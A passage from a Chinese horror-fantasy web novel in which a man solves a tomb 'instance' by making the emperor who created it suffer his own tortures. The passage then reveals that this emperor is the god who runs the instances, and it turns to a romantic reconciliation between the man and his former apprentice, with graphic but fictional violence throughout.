“然后就有了咱们在墓室里看到的那个木雕脑袋。”陈靖总结道。 “说的没错。”周自重道:“再有一点,老楚,墓室里的事我得跟你和阿朝道歉。” “你俩说的没错,人皮画上的信息确实有误,而且目前看来百分之九十上边画的内容都是在扯淡。” 楚明铮点头,不说别的,只说上谏群臣的死因这一点,人皮画就完完全全将他们误导了过去。 上谏的群臣是无故在家中暴毙的,而非被皇帝下狱受酷刑处死的。 整个故事当中,真正被关进牢狱遍受拷打的,只有贺松墨一个人而已。 “群臣确实是先在家暴毙后,然后朝廷才以辅助破案的名义,命家属将尸首送进宫,如今都在大理寺狱中停放。”周自重分析道。 “只是不知道后来又是为什么,这些朝臣的尸体被放到了王爷的墓葬二层,还被摆成受刑的姿势,直至化为枯骨,受禁锢千年。” “啊,我觉得这个还是比较好推理的。”楚明铮露出一丝无可奈何的笑容,引导道:“你想,整个王朝谁有资格给这么多大臣的最终埋骨之处做决定?” 周自重一愣:“皇上?” 楚明铮微微一点头。 “可是他为什么要这么做?这些大臣是无辜的,他们只是上了一封弹劾的奏折,无论是奏折中谩骂贺松墨还是谩骂王爷,那不都是为了国家好?” “皇帝得当的有多失心疯,才能把这么多建言献策的朝臣摆成受刑的姿势埋到地底下几千年?” 楚明铮简单给他叙述了一下,关于自己在主屋幻境里的遭遇,以及他身临其境看到的大理寺狱,贺松墨临死前的画面。 周自重默然不语。 故事脉络理到这里已经十分清晰了。 贺松墨贫寒出身,靠年少苦读,一路科举入仕,平步青云,成为皇家帝王师。 后来他带的两个学生,哥哥登基称帝,弟弟自立府邸,做他的闲散王爷。 弟弟这王爷做到一半,生出野心想谋取天下,于是暗地里筹备谋反。 再后来不知怎的,王爷谋反败露,被哥哥软禁围困时,情急之下把罪责推给了自己的老师贺松墨,说是老师给他出的主意。 贺松墨自小带他们兄弟二人长大,不忍看着皇帝和王爷二人手足相残,于是以一己之力担下全部罪责,认了撺掇王爷谋反的罪名,于是朝堂上弹劾辱骂贺松墨的奏折铺天盖地的向上呈奏。 皇帝因为老师包庇弟弟的举动,感到极其愤怒和失望。 皇帝觉得,他跟弟弟从小一道在老师的教养下长大,但是老师始终更偏着弟弟,就连谋反这等诛九族的大罪都愿意为弟弟抗。 简直是置九五至尊于何地! 所以皇帝在明知道贺松墨是无辜的情况下,仍然将其下狱虐打,只为求老师一个松口,承认他没有撺掇王爷谋反,承认在老师心中,自己与弟弟是一边高的。 然而贺松墨一介书生,本就体弱,哪扛得住大理寺狱的百般酷刑,于入狱的第二个月伤重不治,病逝在牢里。 老师死后,帝王又悔恨又失落,极致痛苦之下迁怒旁人,将上奏的朝臣全部私下处死,再冠以鬼神之名,说是冤魂寻仇致人暴毙。 又将弟弟和弟妹两人一并拉出去砍了,死后以皇家礼仪厚葬。 明面上是体现帝王的宽宏大度,臣弟虽然谋反,但他仍是皇家血脉,仍然要以礼节葬之,实际上他是通过皇家墓葬的恢宏空间来打造第二层墓室。 第二层墓室里摆放群臣的骸骨和刑架,以此泄愤。 这就是帝王的赎罪,听起来既荒诞又无理取闹。 但是这个神经病皇帝就这样做了,起码几千年前没人拿他有办法。 几千年后还要将墓葬里的怨气输送进主控中心系统,成为副本残害后辈,属实是该死的要命。 “妈的,这狗皇帝脑子真有病。”大徐骂到。 “行了,背景故事总算是拼凑出来了,我们现在得盘算另一个事了。”楚明铮心不在焉的将他一按:“怎么才能从这个副本里出去呢?” “一般来说脱离副本的办法就是解决掉副本里的怨气,但是这个本比较奇特,我们把故事理的如此清晰,但是我们不知道具体该化解谁的怨气。”大徐说道。 “这群人看起来怨气都挺重的。”陈靖耸肩。 “化解主要怨气来源就行了。”楚明铮思忖:“这个副本……你们觉得谁怨气最重?” 周自重举手:“我投贺松墨一票。” “王爷也挺重的。”陈靖小声道。 “那那些群臣岂不是更冤屈,就上了个奏折,就被人杀了泄愤?”大徐补充。 楚明铮开口:“首先pass贺松墨。” “这又是为什么——楚明铮我发现你这个人有时候独断专行的厉害……”周自重暴躁道。 楚明铮抬起一根手指头:“首先,贺松墨死的时候没有怨气,我是看着他咽气的,有怨气的人死前不是那个眼神,而且我也不觉得群臣会有怨气,那个年代的价值观不就是,君让臣死臣不得不死吗?” 大徐也忍不住插嘴了:价值观归价值观,真死的时候,谁能没有怨气?” “但是怨气不足以维系这么多年,到成为副本的程度。”楚明铮回答。 周自重和大徐一齐沉默。 “那你说,你觉得谁是怨气的源头。”周自重气馁的松懈身形道。 “皇帝。”楚明铮言简意赅。 周自重:“?” 大徐:“?” “啊?”陈靖挠了挠头,替他俩开口问了:“楚先生,怨气的源头怎么可能是皇帝呢?他是掌控所有人生死的上位者,他都把看不顺眼的人全杀了,然后还有怨气?” “换了以前,我也不理解这种怨气产生的心理原因。”楚明铮叹了口气道。 “直到我认识了长大成为执政官后的齐栩。” 众人一愣,再一联想楚明铮失踪的那四年,瞬间想明白了楚明铮此话的逻辑。 “这两个上位者在一定程度上有异曲同工之妙。”楚明铮环顾四周,语气中带了一丝无奈。 “你不能用正常人的逻辑去揣测他们的思维。” 周自重低声问:“你觉得齐栩不正常?” “他当然不正常,正常人能干出他那种破事?”楚明铮理所当然。 “那你还跟他生孩子?” 楚明铮:“……滚。” 不远处的宫人与大臣跪了一地,一个容貌诡谲的神婆站在祭坛前方跳舞。 此人舞姿十分难看,旁边的奏乐更是呕哑糟咂难为听,若是换了寻常,谁敢在皇宫里跳这种东西来污皇帝的眼,绝对会被侍卫拖出去乱棍打死的。 不过如今是拿来作驱邪的用途,倒是让人怪有安全感的。 大徐沉默着欣赏了一会儿神婆的舞姿,半晌忽然感慨了一声:“唉,我刚才想明白了一个细节。” “什么?”楚明铮问他。 “方才老周说,宫人们布置的这个驱邪仪式,驱的是贺松墨的冤魂,让各路仙家出马,制止贺松墨再在京城中害人。”大徐反问道:“这说明什么?” “说明狗皇帝不仅杀了上谏的臣子们泄愤,还把这罪名推到贺松墨身上,反正死人不会说话,他就说是贺松墨的冤魂归来报复。” “这么一宣传,他老师的身后名能好听才有鬼呢。” “太坏了这个人,太坏了!”周自重痛心疾首:“此等皇帝,简直堪比纣桀啊!” 三人正感慨消化着这个信息,那边的老神婆忽然周身一颤,重重跪地,仰面磕在了地上。 旁边宫人侍卫惊慌失措的要上去查看情况,哪知下一秒,老神婆又蓦然抬起头来,喉咙里发出沙哑不堪的叫喊。 周围神婆的弟子大喊起来:“通灵了!通灵了!师父这是与恶鬼通灵了!” “快拿纸笔来,师父的虔诚感动了阎王爷,阎王爷他老人家把贺松墨从地府里放出来,让他在阳间借师父的口说几句话了!” 很快有人将纸笔递到了神婆面前。 那神婆眼睛翻白,一副玄乎到极点的模样,她拖着长袍,缓缓俯下身子捡起毛笔,蘸了饱满的墨水,在纸上挥笔写了几个大字。 然后浑身再次抽搐着将笔撂到了一边去。 立刻有宫人上前,拾起地上的宣纸,双手奉上,一路小跑着往不远处那方宫殿里去。 “他们要把那个纸拿给谁?怎么也不念一下上边的内容?”大徐探着脑袋问。 “呈给皇帝看。”楚明铮凝重道:“皇帝在那个殿里。” “大徐。”楚明铮又道:“你说咱们眼下这个场景,是皇帝脑海里的怨气,勾勒出的幻境,是不是?” “是。”大徐立刻回答。 “那我这个幻境里做一些疯癫行为,是不是也不影响背景故事的最终结局?” “是,这些人都是古人了,你现在目之所及的所有人都在千年前就化成灰了,当然不影响。” 楚明铮略一点头:“好,那我现在要过去抢那张纸,我要看上边的具体内容,你来掩护我。” “没问题。” 大徐话音落下的瞬间,楚明铮整个人犹如离弦的利箭,从人群中倏然而出! 周自重惊得几乎要跳起来:“我勒个去,你俩一点预告都没有啊!” 楚明铮单手一撑身侧墙面,飞檐走壁瞬间跃出去几米远,凌空落地的刹那,伸手就近在一个侍卫腰后一掏!直接将人家的长剑从鞘中拎出来了。 整个场面顷刻间一片大乱。 “有刺客——” “护驾!快去护驾!” “捉拿刺客,别让他跑了!” 楚明铮充耳不闻,握着剑柄,唰唰几下剑刃飞斩,血肉横飞间刺穿了最近几个侍卫的心脏,然后将利剑从尸体中一把扯出来,踩着幻境中侍卫和宫人的尸身,三下五除二奔到了那个给皇帝送宣纸的太监身前。 那人歇斯底里的尖叫起来,被楚明铮一剑封喉,转眼将写了通灵信息的宣纸夺到了手里。 大徐和周自重,陈靖在那头也嗷嗷刺杀起来,帮楚明铮吸引火力。 场面大乱之间,楚明铮以最快的速度摊开宣纸,一行墨字映入眼帘。 若要臣怨气尽消,就以活人的鲜血祭奠臣的亡魂,臣生前所受之刑,所挨之罚,全数归于活人之身,以此慰藉臣九泉下冷骨。 用白话翻译一下,就是要想让我消去怨气,停止杀戮,那就找活人来将我生前所受过的刑罚全受一遍,以此祭奠我的亡魂,这样我的怨气就会消解掉了。 …… 刹那之间,楚明铮想明白了很多事。 比如皇帝为什么会把大臣们的尸骨全抛到坟墓里,摆成受刑的姿势维持千年。 原来是通灵师的这张纸上要求的。 但是朝臣们的受刑又不完全符合通灵师这张纸上的条件,因为他们是死人,纸上的条件要求的是活人。 去哪儿找活人受遍刑罚,达到祭祀贺松墨的效果呢? 皇帝在世的时候,显然是可以随意挑选重刑犯,在他们身上施加刑罚,将贺松墨所受过的刑罚全上一遍,以此来完成通灵师所传达的,老师的要求。 但是皇帝也是人,也会生老病死。 皇帝死了之后,谁又能来选出受刑者,每年每月固定施刑,来完成老师的祭祀任务呢? 副本。 如果把这个故事变成一个恐怖副本,将副本最终的通关条件设置为,玩家需要自觉主动躺上刑台,自我牺牲,把第二层墓葬的刑具在身上全过一遍,用自己的鲜血,换取整个团队通关的机会。 那这样的话,老师的愿望就会有后世无穷无尽的活人为他完成了。 这就是皇帝的执念,也正是这个副本的通关方法。 怪不得这个副本在周自重那里几乎没有通关记录,一方面是齐栩进过的副本,确实会将秘密等级提高一个档次; 另一个方面,如果最终通关要求是需要团队里有人自我牺牲,历遍贺松墨历过的刑罚,用自己的鲜血浇灌刑台才能出去的话…… 那楚明铮敢打包票,这个副本的死亡率会达到百分之九十九以上。 没人愿意做这样的牺牲。 这些刑罚全经历一遍,人还有没有命在,都是个很难说的问题。 牺牲自己一个人受刑,换其他人成功出副本? 简直是天方夜谭。 楚明铮握着宣纸的手哆嗦着颤抖起来,他无知无觉的小声将自己的推理念叨了出来,那声音很轻,完全隐没在了周遭的嘈杂中,但是字字泣血,楚明铮几乎连话都说不全。 他现在满心满眼就一个问题。 齐栩当年是怎么成功脱离这个副本的? 他的小徒弟,在他看不见的地方,究竟付出了怎样的代价? 与此同时,屏幕之外。 主神再一次缓缓拍起掌来,虚空中的掌声响彻整个图腾密室。 “不得不说,楚明铮不愧是楚明铮,他破解整个脉络的速度,比你快了足足一倍。”主神由衷的感慨道。 齐栩喜忧参半的看着屏幕。 楚明铮在进入副本的三天时间内,就把血池棺林的整条故事线全部理清,固然使齐栩高兴且自豪,说明他的师父从年少到现在都如出一辙的厉害,并没有因为中间的任何波折而锋芒减退。 但是他忍不住又开始担心最后一步。 血池棺林的通关要求是在团队中选取一个人,钻心挖骨尝遍所有的刑罚,给千年前的贺松墨奉上鲜血祭祀。 按照齐栩对于楚明铮这个人的认知,他很有可能大家长毛病再次发作,选择让自己成为那个义无反顾的奉献者。 齐栩绝不可能看着楚明铮在副本里把自己的血流干,换取那几个无关紧要的人安然无恙出来。 于是他再一次开口警告主神:“您答应我的,给我十分钟,我进去把他替换出来,我去受那个刑罚。” “我受过一次了,再来第二次也不怕。” 主神毫无感情的嘲讽道:“好伟大,不过我觉得楚明铮未必会同意你代替他受刑,你确定你能说服的了他?” “我不用说服他,我把他打昏扔出来就可以了。”齐栩冷冷的道。 “真遗憾,其实我还真想尝尝,楚明铮的血是个什么滋味呢……” 齐栩一惊:“你想都不要想!” 主神刚要开口嘲弄,然而屏幕里楚明铮的下一步举动,却牢牢吸引了他的注意:“等等——小齐,你这个师父,他要干什么?” …… 楚明铮立在一片兵荒马乱的祭坛中央,手里那张宣纸随风飘落。 他那双眼睛里含满了悲怆和寒凉,不知道究竟是为齐栩难过,还是在为贺松墨难过。 不远处的大殿上,那位九五至尊的罪魁祸首静坐着,跟楚明铮遥遥相对,他们之间的距离隔的太远了,但也不妨碍四目相对间楚明铮的恨意几乎能化做实体,将面前的皇帝捅个对穿。 “首先,刚才那张纸上的所有内容,都是老神婆胡诌的,以贺松墨的本性,他不可能向你提出,他要活人的性命祭奠自己的要求。”楚明铮一字一句的对着那皇帝说道。 “其次,贺松墨是你的老师,我不信你不了解他的心性温润,他为了让你兄弟二人和睦共处,连自己去死都愿意,他怎么可能要求你生生世世为了他伤害无辜。” “所以这个副本的通关要求就是个荒诞的笑话。”楚明铮无悲无喜道。 “贺松墨根本没提这种要求,从头到尾都只不过是你为了消解自己的罪孽,你为了平息自己对于贺松墨的愧疚,自己哄自己的一场把戏。” 九五至尊坐在原地,面无表情的听着风中送来楚明铮的声音。 楚明铮手里拎着长剑,一步一步的向大殿走去。 数个在他身侧围攻的侍卫已经被他一剑一个砍杀殆尽,满石阶都是顺流而下,粘稠的鲜血。 “这个副本的通关重点,是要破除陛下你的执念,消解你的愧疚,所谓活人献祭只不过是你消解愧怍心理的手段之一。”楚明铮剑锋染血,步履却不停。 “于是我刚才就在想,你执念的本质是什么?你设置这些关卡,千年以来反复害人性命的真实诉求是什么?” 楚明铮终于迈进了大殿的门槛,门槛边一众密密麻麻挽弓搭箭的鬼侍卫。 无数箭尖瞄准了楚明铮。 楚明铮视若无睹,开口时的每一个字都铿锵有力,掷地有声:“你最本质的执念,就是你对贺松墨绵延千年的愧疚。” “那既然如此,我给你一个全新的方案,让你从此都不再愧疚于老师,如何?”楚明铮将剑柄握在手中,转了个剑花,残忍的微笑起来。 高台皇位之上的九五至尊终于开了口:“那你说,朕该如何去做,才能让老师原谅朕?” “以牙还牙,以血还血。”楚明铮冷笑道:“陛下自己去那几十个刑台上,把所有惨无人道的刑罚全都尝上一遍,用自己的血给老师赎罪,岂不更是诚,意,十,足?” 帝王勃然大怒,挥手就要让弓箭手放箭,将此人乱箭射死。 楚明铮比所有人都更快一步,他一剑刺穿了离自己最近的弓箭手和护卫,从那一个突破口直杀而下,电光火石间连窜数步,瞬移到了帝王身侧。 身后无数箭矢犹如空中飞鱼,朝他后心全身打着旋飞驰而来! 楚明铮回身翻腕,剑花飞挑之下将锋利箭矢尽数挑在身前,帝王心生不妙,从位上起身就躲,被楚明铮眼疾手快一把拉拽至身前,充当人质。 “跟我走吧,陛下。”楚明铮附在他耳边轻声道。 “跟我回墓里去,你在那里自己给自己准备了所有刑具,你忘了吗?” 帝王颤抖着嘴唇想说什么,下一秒,楚明铮扬起横在他颈前的剑锋,一剑将自己跟帝王捅了个对穿,鲜血迸溅的刹那,两人同时自杀出局。 再睁眼时,只听四合院木门断裂,楚明铮挟持着帝王,身后跟着大徐,周自重,还有陈靖三人,齐刷刷滚出了东偏屋。 等在一旁的楚朝和乔文三人大惊失色,一迭声的喊着楚明铮的名字就冲过去了。 楚明铮无暇理会他们,起身一拎帝王的脖颈,用尽毕生之力,踉踉跄跄的将他拖行着拽到墓室里去。 帝王一路挣扎,力气却分毫不及楚明铮,被强行拖拽着扔进了古墓。 “你做什么!你松开朕,你敢对朕用刑,这是诛九族的大罪,朕要杀了你——”皇帝恐惧的声音响彻二层墓室。 楚明铮一边喘息着笑,一边动手将皇帝往刑架上绑:“你是古代人,□□已经作古多年,现在只剩下灵体了是吧,也就是说,无论怎么折磨你,你都不会真正的死掉,受损的灵体会在副本的作用下一遍一遍的恢复长好……” “我可以这么理解吧?” 皇帝惊恐的眼神已经说明了一切。 “很好。”楚明铮拿起一旁的水银浇桶,冷静道:“既然如此,我们先从剥皮开始吧。” 皇帝拼命摇头:“不,不,不——” 惨叫声回荡在墓室里。 与此同时,屏幕外的主神也在疯狂叫喊:“这么多年我没见过这么玩的,阻止他,阻止他!齐栩你现在就进去阻止他,我命令你,现在就让他停下!” 齐栩看着屏幕,已经完全呆滞住了。 事情在朝一个荒诞而不可思议的方向一路狂奔。 居然还能这样?! 居然还能这样! 楚明铮的破局方法太他妈炸裂了,把主控中心所有脑子加起来都凑不出这么一个人才。 血池棺林副本创立至今也有大几千年了,往届的闯关者们,要么全灭,要么死一个当祭祀的活物,所有人都谨小慎微的遵守着副本的规则,乖乖成为皇帝的献祭品,把滚烫的鲜血供给给主神。 但是楚明铮把皇帝给绑到刑架上了,他要皇帝自己的债自己还,自己滚去当祭品,此等操作前无古人后无来者,堪称疯狂至极。 齐栩呆呆的看着屏幕,完全不敢相信自己的眼睛,他已经震惊到极点了。 然而楚明铮的下一句话,则是彻底击溃了他的心神,让齐栩险些踉跄跪地,泪流满面。 皇帝的头皮被切割出一块十字型的刀口,沉重的水银倒灌而入,他的身躯疯狂扭动挣扎间,整张人皮在极度惨烈的尖叫中脱落下来,只留下一副血淋淋的肉躯干,被捆在刑架上。 楚明铮看着这残忍的场面,连眼睛眨都没眨一下。 “如果有别的破局方法,原本我没打算这样对你的。”他手里握着水银桶,眼眶通红的道:“但是齐栩在你这儿把这些刑罚全都挨了一遍,是不是?” 皇帝此时自己都快被剥皮之痛给疼死了,自然没力气回答他。 “我一想到这个,我的心就像针扎一样疼。”楚明铮喘息着道。 “他做徒弟可做的比你好多了。” 楚明铮因为过度疲惫,而微微弓下身体,用手掌扶着膝盖骨,一字一句的缓和着情绪说道。 “他没做你那些错事,凭什么要替你受惩罚?” 皇帝靠在刑架上,疼的吱哇乱叫。 楚明铮站起身,不耐烦的将皇帝的身躯从这个刑架上解开来,等他灵体自动恢复了之后,又毫不客气拎到另一个刑具面前,手段麻利的上绳索,开始施刑。 “我不在的时候,你敢欺负我徒弟。” 楚明铮扬手一鞭,将皇帝抽的满脸桃花开:“那你现在就把当时逼他所受的刑罚,全都自己尝一遍好了!” 他的声音透过屏幕,回荡在整个图腾密室里。 齐栩不知不觉间只感到满脸的热意,浑浑噩噩的一伸手,原来他早已泪如雨下。 楚明铮心疼他。 他的师父爱他。 齐栩从未这样清晰的感受过这个事实。 主神盘旋在上空,空中发出撕心裂肺似的尖叫:“停下!停下!不要再打了!” “我要疼死了!啊啊啊——” 齐栩低头擦了一把脸上的眼泪,抬头含笑对主神道:“有人欢喜有人愁啊,陛下,拖您的福,我现在才发现,原来楚明铮心里有我。” 主神气息虚弱,祂灵魂的一半在副本里受刑,巨大的痛苦席卷着祂的神志,祂现在无比后悔,自己当初为什么要让楚明铮进入血池棺林。 祂其实不是神明。 祂在千年以前就死了。 只不过祂生前身份尊贵,乃是一朝天子,这位天子生性残暴,罪孽深重,加上死前还有未完成的牵挂,死后邪气不散,始终盘旋人间。 又好巧不巧,祂是天子,天子的埋骨之所,一般都位于造化灵秀之地,结天地精华于墓穴一点,极为难得。 龙脉护持,天地精气聚拢,硬生生的将祂这位邪天子的邪灵给护佑住了,数千年都不曾退散。 那么天地精华之所,顾名思义,是一种很容易聚拢无形之物的地方,俗称聚宝盆。 聚宝盆里如若护佑的是天地精华,那它就会拢聚越来越多的天地灵气,将这个好地方的风水填补的更为玄妙。 但是如若聚宝盆里不幸护卫了一个怨念十足的邪灵。 那不好意思,四面八方,十里八乡的罪孽,怨气,邪灵,人世间无数疾苦的琐碎,恶意……统统都朝着此聚宝盆涌来,也不奇怪。 这些负面的怨气和孽障业越积越多,直至汇聚成一股巨大而无形的恐怖力量,笼罩了整个世界。 这就是此间副本的来历,这就是无数恐怖副本凭空出现在世界上的缘由。 太多的怨气需要人去破解,太多的悲怆需要后世有人承担。 因为有所牵挂和怨念而游离行走世间的怨鬼,也需要一个寄生之所。 于是副本从此诞生。 主神不是这个世界的统领者,祂在几千年前也是个凡胎□□,但是他命比较好,他是个皇帝,墓地选的好,于是死后误打误撞,成为了活人世界的神。 血池棺林就是主神生前的故事。 皇帝就是主神前世的身份。 至于祂为什么在这个世纪,选中了齐栩做祂的执政官。 那要从齐栩当年进入血池棺林的最后阶段,选择牺牲自己躺到刑架上,闭目开始承受刑罚的那一刻说起。 “你为什么不害怕?”主神在虚空中打量着他问道。 凌迟的刺痛传遍了齐栩的全身,他忍着冷汗涔涔的痛苦,睁开眼睛回答道:“我不害怕,我的命不值钱。” 主神觉得有意思:“你为什么这么想?” “我师父不要我了。”少年齐栩带着哭腔小声道:“他有个更在乎的小朋友,我的命是他救的,他不要我了,那我就不值钱了。” 主神盯着少年因为剧痛而青筋微跳的额头,以及那双伤心而绝望,又带着一丝不甘的眼眸。 “你也有个没那么在意你的师父啊……”主神感慨。 他这话一出,刑架上齐栩的眼泪更汹涌了,止都止不住。 “那我们算是同类人,也算半个知己了。”主神飘飘悠悠的在刑架上无形的盘旋着。 “如果你被这些刑罚放干血之后,还能活下来,有一口气在的话……” “以后就跟着我混吧。”主神轻飘飘的道:“谁让你也有个……让你难过的师父呢。”—— 作者有话说:终于写完了,没看懂的话,或者是世界观还有没补齐的地方,我下章再解释[爆哭]《 》 85-90 第86章 楚明铮简直觉得自己丢脸…… 粘稠而汹涌的血水在二层墓葬的每一寸角落里蔓延开来,楚明铮拎着皇帝的头发,强行从最后一个刑架上拖起来。 “如何呢,陛下,现在有没有感觉好一些了?”楚明铮讽刺道:“祭祀献祭这种事情,就是要用自己的血水来浇灌,才显得真诚嘛。” 皇帝被虐打的只剩下最后一口气了。 他的灵体也是残破的,在楚明铮手里摇摇欲坠,仿佛下一秒就要魂飞魄散了似的。 楚明铮轻轻拍了一下他的脸颊,温声道:“我想陛下的老师已经感受到陛下赎罪的诚心了,陛下数千年的执念,也可以往下放一放了。” 皇帝半死不活的委顿在他手中,向来威严的眼睛里全是狰狞的血丝。 大徐等人安静的候立在二层墓葬最里侧,陈靖战战兢兢的开口问道:“那个……徐哥,自重哥,楚哥的这种破局方法真的管用吗?我怎么没见过这款风格的手段呢,我有点慌是怎么回事……” 周自重拍了拍他的肩膀,以示安慰。 “没事,小伙子,你在十年前如果有机会跟楚明铮进过同一个副本的话,你就会发现,这种神经病一样的手段就是他的风格。” “我们每次跟他过同一个副本,过到最后都被他的疯癫举动吓得魂飞魄散,觉得完了,副本鬼怪居然还能这么得罪——”周自重说到一半,话音无奈的顿了一下:“但是惊恐过后,我们又都能在他的庇护下安全离开。” “所以,习惯就好。”大徐在旁边接话安慰:“楚哥就是一款实力很强的奇葩,他能霸榜十年第一,不是没有道理的,抽风归抽风,实力还是不弱的。” 楚明铮在不远处侧过头,没好气的怼了一句:“你才抽风!你才奇葩!” 队友们所站着的方向传来嘻嘻哈哈轻快的打闹声,楚明铮也忍不住哑然失笑。 皇帝在他的桎梏下,气息越来越弱了,遍体鳞伤的皮肉在墓室阴冷的空气中微微颤抖,他的眼角聚拢了一汪炽热的水汽。 不多时,一行泪水顺着眼角倏然淌下,打落地面。 空气逐渐扭曲起来,周遭气温骤降,熟悉的抽离感蔓延而过,副本里的一切画面在视线里快速消退,三维空间霎时翻转。 …… 楚明铮是被巨大的贯穿力从副本里撞出来的。 耳畔风声尖锐,他有那么一时半刻完全听不到任何声音,五感仿佛被冻住了,凝固在另一个时空里。 不知道过了多久,他的听觉和触觉又仿佛被同时解冻了,一切都变得清晰了起来,下一秒,只听哗然一声巨响,眼前所有模糊的血雾烟消云散,他被身后一股巨大的推力从副本中撞击而出! 副本的出口是一个类似帷幕的地方,楚明铮的身形骤然穿过帷幕,从空中直坠而下! 然后被一个沉稳有力的怀抱当空接住。 “师父!”齐栩的声音在耳畔响起,他的手臂牢牢扣住楚明铮的身形,紧张的去看楚明铮脸色:“师父,你没事吧?” 楚明铮头晕目眩,一时还没搞清楚情况。 他这是从哪儿被投放出来了? 齐栩怎么刚好就在这儿? 楚明铮出副本的时候身上溅了一身皇帝受刑时所流的血,刚才在副本里没察觉到什么,刚一脱身出来,身上浓重的血腥气就将他熏的自己翻江倒海,浑身难受。 齐栩倒是不嫌弃,他单膝跪在地上,用这个身处下位的姿势搀扶着楚明铮,让他俯身就能靠在自己身上。 楚明铮头疼的在徒弟的臂弯里闭眼睛缓和了一会儿,末了睁开眼睛问道:“这是哪儿?” 齐栩停顿了一下,还是如实回答了:“这是主神栖身的地方。” 楚明铮一愣:“什么?” 齐栩小心翼翼的给他指了一下对面那幅巨大的图腾:“那就是主神的栖身之所,你刚才就是从那张图里出来的。” 楚明铮此时将力气恢复了一点,也就顺手把齐栩从自己身上推开了,转身狐疑道:“那主神祂人呢?” “他……这会儿应该是进画里休息去了,他刚才受了点重创……”齐栩模糊的解释道。 楚明铮没说话,转头继续盯着天幕上那图腾,忽然道:“这不是主神的图腾,这是血池棺林里我们见到的那幅松鹤图。” “是,松鹤图就是主神图腾。”齐栩安静的答道。 “寻常人看到这幅画,只能看到浓墨重彩的颜料和狰狞的挥毫,却看不出来具体样貌。”齐栩伸手在楚明铮遍布血污的衣襟上轻轻拍了拍。 “只有从血池棺林里成功通关存活下来的人,才能见到图腾的真实样貌……不过这里不是聊这个话题的好地方,师父,我先带你回家吧。” 楚明铮早就精疲力竭,此时也没太多力气去思考这些有的没的了,于是点点头,费劲的拖着脚步准备跟齐栩一道往外走。 走到一半,他再次骤然停下脚步,满面疑虑的转过头,指着图腾对面的那方屏幕问齐栩:“这又是什么?” 齐栩一呆,一时语塞。 “这这这……这就是那个——” 楚明铮人虽然累的够呛,大脑却不是不转了,他只看了一眼屏幕,电光火石间就明白了这屏幕的用途。 “你跟主神,这些天一直在实时观看我们过副本的全程吗?!”楚明铮难以置信的问道。 齐栩倒抽一口凉气,心虚都快写到脸上了。 楚明铮在原地站定脚步,咬牙问道:“……我刚才在副本里说的所有话,你都听到了?” 齐栩紧张点头。 “包括我,我跟皇帝说的——”楚明铮说不下去了,在他自己都没有注意到的情况下,他的耳朵尖难以克制的泛起了红色,说不上来是因为羞耻,还是恼怒。 “嗯,你跟皇帝说,他欺负我,你很生气,你要给我把酷刑都讨回来……”齐栩低下头,声音很小的道:“我都听到了。” 齐栩的脑袋虽然是低着的,但是他眼睛里亮晶晶的欣喜神色,比大雾里的激光灯还难掩盖。 “师父,我,我真没想到……” “闭嘴!” 楚明铮忍无可忍,他的脸庞已经因为极度的恼羞成怒而通红了大半,心底的恼火几乎要冲破出来,将齐栩撕成百八十瓣。 “谁让你听我说话了!”楚明铮恶声恶气的冲他咆哮道。 齐栩连忙道歉:“我错了,师父我错了,我下次再也不会了,我现在已经知道师父心疼我,师父心里有我——” 楚明铮一把将沾满血腥的外套从身上扯下来,扣头扣脸砸在齐栩面门上,暴怒道:“你给我滚!” 说完他转身就走,也不知道哪儿来那么大力气,偌大的一方巨型黄铜门说开就开,楚明铮一路噔噔噔的沿着走廊出去了。 齐栩回头看了看墙上那只遗世独立的仙鹤,叹了口气,火急火燎转头就追。 “师父!师父你等等我!” 他一边跟在楚明铮身后跑,一边不觉心里暗暗好笑。 楚明铮是一个极其要面子的男人,这种特质其实说不上讨人喜欢,起码在其他男人身上并不是加分项。 不过楚明铮从进副本到现在,实力都太过抗硬了,旁人见到他很难不给他几分面子,所以这种特质在他身上并不明显。 甚至来说有时候在床上,这个特质还会给齐栩增添点别样的意趣。 比方说他知道师父脸皮薄,那他就故意把楚明铮强行箍着,往镜子面前抱; 楚明铮太羞耻的时候,会将脸别过去,藏在枕头里不去看他,那他就俯身去吻楚明铮敏感滚烫的耳垂,将师父弄的上不来下不去,只好带着沙哑出声骂他。 今天楚明铮大发雷霆的原因也很简单。 他一向对齐栩非打即骂,无论夜里身体怎样诚实,白天的面子上都别扭着不肯跟齐栩好好说话。 结果他在齐栩不在的场合里,却心口不一的展露出了对徒弟的心疼,还信誓旦旦的扬言要欺负徒弟的人付出代价,而且说到做到,真给齐栩把四五年前受过的气出了。 这一切都被全程直播给齐栩看到了。 齐栩倒是感动坏了,但是对于楚明铮来说,这简直是丢人丢到姥姥家了! 他现在把齐栩撕了的心都有,什么心疼,什么自己的徒弟不许旁人欺负……楚明铮恨不得现在就把刚才副本里的话统统吃回去,然后再把齐栩重新丢到刑架上虐待一轮,让他闭嘴,让他自动失去这段记忆。 楚明铮怒气冲冲的走到主控中心侧门旁边的时候,齐栩终于赶上了他的脚步。 “师父,师父你别生气了,你穿的太少了,先跟我去车库,我送你回家……咱回家再说,行不行?”齐栩气喘吁吁的从身后抓住他的手腕,强行将自己的外套披在了楚明铮身上。 “师父。”他低声下气的又哄道:“先跟我回去,刚才的事……我不提了,你别生气。” 楚明铮站在原地,定定的看着他。 下一个瞬间,他一把将齐栩搂过来,扣住齐栩高瘦的身形,将这比自己高一个头的年轻男人拽进了怀里。 第87章 “你自找的,今晚就这么…… 齐栩有漫长的十来秒钟,都没有任何反应。 一种飘忽而不真切的茫然充斥了他的五感,鼻尖全是楚明铮身上熟悉温暖的气息,齐栩只觉得这人身上的血腥气都好像化作了蜜糖似的香甜,羽毛似的落在他心里,再冰凉如丝的绽放开来。 “……师父?”他懵懂的开口喊了一声楚明铮。 楚明铮转瞬松手放开了他,然后抬手在他脑门上重重打了一下,齐栩吃痛,“嗷”的一声捂住头,向后退了一步,委屈巴巴道:“师父,你怎么又打我。” 楚明铮犹不解气,指着他骂了一句:“傻的冒泡。” 齐栩捂着脑袋,刚开始还能维持住那个委屈的神色注视着他师父,师徒二人站在主控中心门口大眼瞪小眼。 不知道过了多久,齐栩终于忍不住低下头,嘴角抽搐,肩膀颤抖着笑了起来。 “你笑个毛线。”楚明铮没好气的骂到。 紧接着他被齐栩上前一把揽进了怀里,强行箍着肩膀上了车:“走啦,师父,咱们回家,你这一身血,站主控中心门口也不怕吓到路人,回家回家……” …… 府邸地下室。 楚明铮在浴室里哗啦啦的冲水,用花洒将全身都浇了一遍,沐浴露不要钱似的往身上挤,足足在浴室里呆了一个小时,才总算把副本里带出来的血腥气消去了不少。 齐栩一直蹲在浴室门口等他。 “师父,要我进去帮你吗?”他猫在门槛处探头探脑道。 